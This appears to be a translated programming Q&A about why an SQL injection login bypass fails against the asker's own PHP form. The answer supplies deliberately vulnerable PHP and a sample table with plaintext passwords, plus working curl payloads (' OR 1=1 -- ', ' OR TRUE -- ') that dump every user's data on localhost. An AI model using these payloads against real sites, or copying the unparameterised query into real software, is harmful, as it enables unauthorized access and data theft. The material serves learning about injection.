SQL注入不能处理易受它影响的代码

时间:2015-12-15 16:42:25

标签: php sql sql-injection

我正试图通过使用SQL注入来绕过登录表单(顺便说一下,这是我自己的表单)。

但我尝试过的技术只是返回错误消息“无效登录凭据”

有人可以告诉我我能做些什么吗?

$email = $_POST['email'];

$password = $_POST['password'];

$query = mysqli_query ($db, "SELECT * FROM clients WHERE email = '$email' AND password = '$password'");

我尝试将'or TRUE--添加到电子邮件字段中,据我所知,应该在 -

之后结束查询

我尝试了很多其他的例子:

  

http://www.securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html

但没有工作。

我理解链接中的示例不使用mysqli,但为什么这会影响它呢?

1 个答案:

答案 0 :(得分:0)

给出以下表格结构

CREATE TABLE `clients` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `email` varchar(100) NOT NULL,
  `password` varbinary(100) NOT NULL,
  `secretData` varchar(20) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1

包含以下数据

INSERT INTO `clients` (`email`,`password`) 
VALUES 
("bob@gmail.com","aadsf345"), ("mark@aol.com","536734sdgf"), 
("mary@outlook.com","password123"), ("anna@mail.ru","{}!@#$>,ZX");

您易受攻击的php代码会根据他/她的电子邮件和密码组合选择用户并在secretData列中显示该字符串

$db = new mysqli("localhost", "root", "", "test");

$email = $_POST['email'];
$pass = $_POST['password'];

$sql = "SELECT * FROM clients WHERE email = '$email' AND password = '$pass'";

if ($result = $db->query($sql)) { 
    while($obj = $result->fetch_object()){ 
        print $obj->secretData . PHP_EOL;
    } 
}
else{
    print "no result";
}

成功登录如下,显示bob的秘密数据

$ curl -d 'email=bob@gmail.com&password=aadsf345' http://localhost.com
aaaaa

虽然注射成功如下,但显示每个人的秘密数据

$ curl -d 'email=bob@gmail.com&password=aads%27+OR+1=1+--+' http://localhost.com
aaaaa
bbbbb
ccccc
ddddd

如果要打印出注入的查询,我们的注入将从标记处开始,%27是单引号。

SELECT * FROM clients WHERE email = 'bob@gmail.com' AND password = 'aads' OR 1=1 -- '
                                                                        ^

使用OR TRUE也适用

curl -d 'email=bob@gmail.com&password=aads%27+OR+TRUE+--+' http://localhost.com